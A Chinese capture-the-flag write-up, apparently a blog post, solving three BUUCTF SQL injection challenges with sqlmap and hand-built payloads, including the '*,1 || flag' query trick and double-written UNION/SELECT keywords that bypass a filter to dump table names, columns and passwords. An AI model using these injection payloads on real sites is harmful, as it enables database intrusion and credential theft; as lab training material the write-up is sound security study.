buuctf sql注入类练习

BUU SQL COURSE 1

  • 1

  • 实例无法访问 / Instance can't be reached at that time | BUUCTF

  • 但是这个地方很迷惑就是这个 一个 # 我们不抓包就不知道这个是sql注入类的

  • 判断是 get 类型的sql注入直接使用sqlmap

  • 我们放入到1.txt中

  • 目的是 优先检测 ?id=1

  • >python3 sqlmap.py -r 1.txt

  • 他会自动的进行检测 对方的数据库类型

  • 直接进行数据搜哈

  • 这个加密是 24英文字母小写是MD5

  • 解密不出来 那就说明这个pass就是密码

  • flag{19a949af-93af-4422-a127-87b23a68c134}

[SUCTF 2019]EasySQL1

  • 老办法复制一下然后 放到1.txt(这个文件需要和sqlmap是同级的文件)

  • 标上 *

  • 发现梭哈失败了 原因 :1、这个过程中经过了 服务器的解密

  • 2、有waf

  • 第一种排除了 是第二种 有waf过滤

  • 输入字母就会无回显但是输入数字

  • 有个Array 这个在php中是数组的意思

  • 也就是我们可以输入一个数组 这个[0] 猜测是 $flag=array[xxxxxxxx]

  • 输入1

  • 会出现 [0]=1

  • 但是输入 0时会消失

  • 输入0和1 发现我们输入什么他就会回显什么

  • 猜测后端的逻辑

  • 我发现一个规律就是 我输入多少个数组 最后一个都是 1

  • 后端逻辑 : select $_POST['query'] || flag from Flag

  • 可能就是当我们输入这个flag是正确的时候就会出现flag 这个很明显不显示

  • 但是我们可以使用 * 让其列出所以的列 然后 ,1 构造这个数组

  • select *,1 || flag from Flag

  • 1 || flag

  • 就是作用类似于 1 or 1 =1

  • select * 是查找所以的值

  • 在mysql中 || 就是或运算符的意思

  • 1 or 一个值的逻辑必然是 true

  • 因为1是真实存在的

  • 但是如果我们输入的flag不是真实存在的就鸡鸡了 但是这个又过滤了字母 所以说这样做事最正确的

[极客大挑战 2019]BabySQL

  • 判断类型

  • 使用逻辑注入 '= \ '=

  • 获取当账号密码

  • 猜测是MD5

  • 失败 那就说明 passwd就是这个

  • 但是这个不是 flag

  • 根据题目提示 bodysql 但是我们不知道是哪个地方的注入抓个包直接使用sqlmap一键梭哈一下

  • 发现失败了

  • python3 sqlmap.py -r 1.txt --level=4

  • 说明可能又有waf

  • 这个双写过滤的逻辑就是 服务器的替换是只能不断向前替换的 不能回头 bbyy 他首先会把 by 换为 ' ' 只能他是不能回头把 b y 进行替换

  • 发现这样构造还是没有 所以就使用手工注入 使用 union 看一下他到底有几个列

  • 发现一共是有 3个数据的

  • 有个知识点就是 不能在url中使用 # 要使用 %23 不然会造成不识别

  • 查表

  • ?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23

  • http://6304b807-b309-4f6c-8c46-58857e48ae51.node5.buuoj.cn:81/check.php?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_schema=database()%23

  • 发现这个有两个id 应该不是的

  • 直接找密码

  • ?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23

相关推荐
焚膏油以继晷,恒兀兀以穷年7 小时前
mysql 悲观锁和乐观锁(—悲观锁)
数据库·sql·mysql·悲观锁
在未来等你8 小时前
SQL进阶之旅 Day 15:动态SQL与条件查询构建
数据库·sql·csdn·动态sql·条件查询
热心市民☆9 小时前
Sql Server 中常用语句
数据库·sql·sqlserver
weixin_4177599912 小时前
简述MySQL 超大分页怎么处理 ?
数据库·sql·mysql
islandzzzz12 小时前
SQL-为什么缺少 COUNT(*) 会导致总行数返回1
数据库·sql
Lx35212 小时前
避免WHERE子句中使用函数的索引优化策略
sql·mysql·oracle
wangfenglei1234561 天前
mybatis打印完整的SQL,p6spy
数据库·sql·mybatis
Elastic 中国社区官方博客1 天前
连接关键点:使用 ES|QL 联接实现更丰富的可观测性洞察
大数据·数据库·sql·elasticsearch·搜索引擎·全文检索
小陈又菜1 天前
SQL Indexes(索引)
数据库·sql·索引
Le_ee1 天前
dvwa7——SQL Injection
数据库·sql·网络安全·靶场·token·dvwa